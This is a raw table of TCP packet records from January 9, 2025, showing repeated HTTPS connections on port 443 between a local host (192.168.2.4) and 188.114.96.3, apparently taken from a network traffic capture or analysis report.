Jan 9, 2025 08:30:32.673156023 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.673156023 CET	50219	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.673166037 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.673221111 CET	50219	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.673228025 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.673247099 CET	443	50219	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.673283100 CET	50219	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.674535990 CET	50219	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.680552959 CET	50220	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.680600882 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:32.680664062 CET	50220	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.681087017 CET	50220	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:32.681102037 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.159787893 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.163052082 CET	50220	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.163070917 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.283096075 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.283140898 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.283169031 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.283199072 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.283200026 CET	50220	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.283211946 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.283272982 CET	50220	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.283279896 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.283294916 CET	443	50220	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.283333063 CET	50220	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.283493996 CET	50220	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.284328938 CET	50220	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.285408974 CET	50221	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.285449028 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.286386967 CET	50221	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.286602020 CET	50221	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.286614895 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.762561083 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.764754057 CET	50221	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.764779091 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.905158997 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.905210972 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.905241966 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.905256033 CET	50221	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.905272961 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.905304909 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.905308962 CET	50221	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.905319929 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.905364037 CET	50221	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.905370951 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.905401945 CET	443	50221	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.905441999 CET	50221	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.906347990 CET	50221	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.907676935 CET	50222	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.907712936 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:33.907773972 CET	50222	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.908117056 CET	50222	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:33.908130884 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.361682892 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.363881111 CET	50222	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:34.363897085 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.481344938 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.481395006 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.481426954 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.481456995 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.481458902 CET	50222	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:34.481471062 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.481519938 CET	50222	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:34.481527090 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.481542110 CET	443	50222	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.481570005 CET	50222	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:34.481600046 CET	50222	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:34.482991934 CET	50222	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:34.484602928 CET	50223	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:34.484647989 CET	443	50223	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.484709024 CET	50223	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:34.485022068 CET	50223	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:34.485037088 CET	443	50223	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.948916912 CET	443	50223	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:34.953413963 CET	50223	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:34.953442097 CET	443	50223	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.077883005 CET	443	50223	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.077924967 CET	443	50223	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.077955008 CET	443	50223	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.077986956 CET	443	50223	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.078073025 CET	443	50223	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.078116894 CET	50223	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.081784010 CET	50223	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.081784010 CET	50223	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.085412979 CET	50224	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.085459948 CET	443	50224	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.089740038 CET	50224	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.089740038 CET	50224	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.089782000 CET	443	50224	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.545182943 CET	443	50224	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.579442978 CET	50224	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.579456091 CET	443	50224	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.679594994 CET	443	50224	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.679653883 CET	443	50224	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.679687023 CET	443	50224	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.679712057 CET	50224	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.679717064 CET	443	50224	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.679733038 CET	443	50224	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.679830074 CET	443	50224	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.679858923 CET	50224	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.680075884 CET	50224	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.682384968 CET	50224	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.682388067 CET	50225	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.682446003 CET	443	50225	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:35.682524920 CET	50225	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.683072090 CET	50225	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:35.683087111 CET	443	50225	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.157963037 CET	443	50225	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.159630060 CET	50225	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.159671068 CET	443	50225	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.282391071 CET	443	50225	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.282438993 CET	443	50225	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.282468081 CET	443	50225	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.282499075 CET	443	50225	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.282552958 CET	50225	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.282589912 CET	443	50225	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.282602072 CET	50225	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.282640934 CET	443	50225	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.282689095 CET	50225	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.283494949 CET	50225	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.284543991 CET	50226	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.284581900 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.284647942 CET	50226	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.284881115 CET	50226	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.284893990 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.741153002 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.742921114 CET	50226	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.742934942 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.857709885 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.857758045 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.857791901 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.857814074 CET	50226	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.857831001 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.857860088 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.857872963 CET	50226	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.857877970 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.857919931 CET	50226	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.857924938 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.857935905 CET	443	50226	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.857974052 CET	50226	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.858705044 CET	50226	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.859700918 CET	50227	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.859762907 CET	443	50227	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:36.859833956 CET	50227	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.860070944 CET	50227	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:36.860089064 CET	443	50227	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.349064112 CET	443	50227	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.353070974 CET	50227	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.353100061 CET	443	50227	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.487644911 CET	443	50227	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.487705946 CET	443	50227	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.487737894 CET	443	50227	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.487772942 CET	443	50227	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.487798929 CET	50227	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.487828970 CET	443	50227	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.487862110 CET	50227	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.487888098 CET	443	50227	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.487977028 CET	50227	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.489265919 CET	50227	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.493429899 CET	50228	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.493474960 CET	443	50228	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.493599892 CET	50228	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.497440100 CET	50228	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.497452021 CET	443	50228	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.692806005 CET	50228	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.697442055 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.697493076 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.697680950 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.701416969 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:37.701432943 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.739335060 CET	443	50228	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.974807024 CET	443	50228	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:37.974870920 CET	50228	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.156495094 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.156562090 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.235753059 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.235770941 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.236066103 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.275732994 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.323323965 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.375053883 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.375102997 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.375138044 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.375145912 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.375168085 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.375207901 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.375207901 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.375219107 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.375267029 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.375272036 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.375289917 CET	443	50229	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.375329971 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.377067089 CET	50229	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.380995989 CET	50230	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.381041050 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.381185055 CET	50230	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.381712914 CET	50230	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.381726980 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.872337103 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:38.874437094 CET	50230	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:38.874449968 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.002849102 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.002908945 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.002939939 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.002978086 CET	50230	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.002979994 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.002998114 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.003165960 CET	50230	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.003175020 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.003339052 CET	50230	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.004404068 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.004467010 CET	443	50230	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.004678011 CET	50230	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.005549908 CET	50230	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.006931067 CET	50231	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.006966114 CET	443	50231	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.007193089 CET	50231	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.007834911 CET	50231	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.007850885 CET	443	50231	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.462435961 CET	443	50231	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.465418100 CET	50231	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.465432882 CET	443	50231	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.591887951 CET	443	50231	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.591938972 CET	443	50231	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.591972113 CET	443	50231	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.592004061 CET	443	50231	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.592078924 CET	50231	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.592092037 CET	443	50231	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.592516899 CET	50231	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.593135118 CET	50231	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.594780922 CET	50232	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.594829082 CET	443	50232	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:39.594959974 CET	50232	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.595294952 CET	50232	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:39.595321894 CET	443	50232	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.052074909 CET	443	50232	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.054625034 CET	50232	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.054651022 CET	443	50232	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.168979883 CET	443	50232	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.169018030 CET	443	50232	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.169044971 CET	443	50232	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.169068098 CET	50232	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.169070959 CET	443	50232	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.169085026 CET	443	50232	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.169128895 CET	50232	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.169159889 CET	443	50232	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.169208050 CET	50232	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.170046091 CET	50232	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.171601057 CET	50233	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.171652079 CET	443	50233	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.171726942 CET	50233	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.172024965 CET	50233	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.172039986 CET	443	50233	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.646286964 CET	443	50233	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.648296118 CET	50233	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.648339033 CET	443	50233	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.782916069 CET	443	50233	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.782967091 CET	443	50233	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.782993078 CET	443	50233	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.783018112 CET	443	50233	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.783102989 CET	443	50233	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:40.783101082 CET	50233	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.783145905 CET	50233	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:40.813951969 CET	50233	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.094693899 CET	50234	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.094748974 CET	443	50234	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.095108986 CET	50234	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.095393896 CET	50234	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.095407963 CET	443	50234	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.551495075 CET	443	50234	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.553466082 CET	50234	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.553482056 CET	443	50234	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.684873104 CET	443	50234	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.684926033 CET	443	50234	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.684957027 CET	443	50234	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.684984922 CET	443	50234	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.685003996 CET	50234	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.685014009 CET	443	50234	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.685053110 CET	50234	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.685084105 CET	443	50234	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.685266972 CET	50234	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.686090946 CET	50234	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.689428091 CET	50235	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.689471960 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:41.689646006 CET	50235	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.690012932 CET	50235	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:41.690026045 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.146883965 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.148592949 CET	50235	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.148618937 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.263698101 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.263746023 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.263775110 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.263782978 CET	50235	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.263803959 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.263816118 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.263842106 CET	50235	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.263854980 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.263899088 CET	50235	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.263911009 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.263926983 CET	443	50235	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.263972044 CET	50235	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.264920950 CET	50235	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.265985012 CET	50236	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.266035080 CET	443	50236	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.266097069 CET	50236	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.266369104 CET	50236	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.266386986 CET	443	50236	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.742348909 CET	443	50236	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.744330883 CET	50236	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.744359970 CET	443	50236	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.886688948 CET	443	50236	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.886739969 CET	443	50236	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.886769056 CET	443	50236	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.886796951 CET	443	50236	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.886816025 CET	50236	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.886850119 CET	443	50236	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.886863947 CET	50236	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.888456106 CET	443	50236	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.888501883 CET	50236	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.888834000 CET	50236	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.890342951 CET	50237	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.890386105 CET	443	50237	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:42.890445948 CET	50237	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.890955925 CET	50237	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:42.890969038 CET	443	50237	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:43.375924110 CET	443	50237	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:43.377675056 CET	50237	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:43.377711058 CET	443	50237	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:43.523768902 CET	443	50237	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:43.523822069 CET	443	50237	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:43.523849964 CET	443	50237	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:43.523875952 CET	443	50237	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:43.523927927 CET	50237	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:43.523957968 CET	443	50237	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:43.523972988 CET	443	50237	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:43.524005890 CET	50237	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:43.524024010 CET	50237	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:43.524811029 CET	50237	443	192.168.2.4	188.114.96.3
